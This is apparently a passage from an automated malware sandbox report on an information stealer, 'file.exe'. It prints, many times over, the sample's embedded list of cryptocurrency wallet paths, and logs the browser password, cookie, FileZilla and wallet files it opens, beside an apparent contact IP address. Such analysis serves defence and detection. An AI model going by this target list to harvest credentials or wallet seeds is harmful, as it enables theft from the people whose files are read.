Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1382358671.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000000A8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1382358671.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

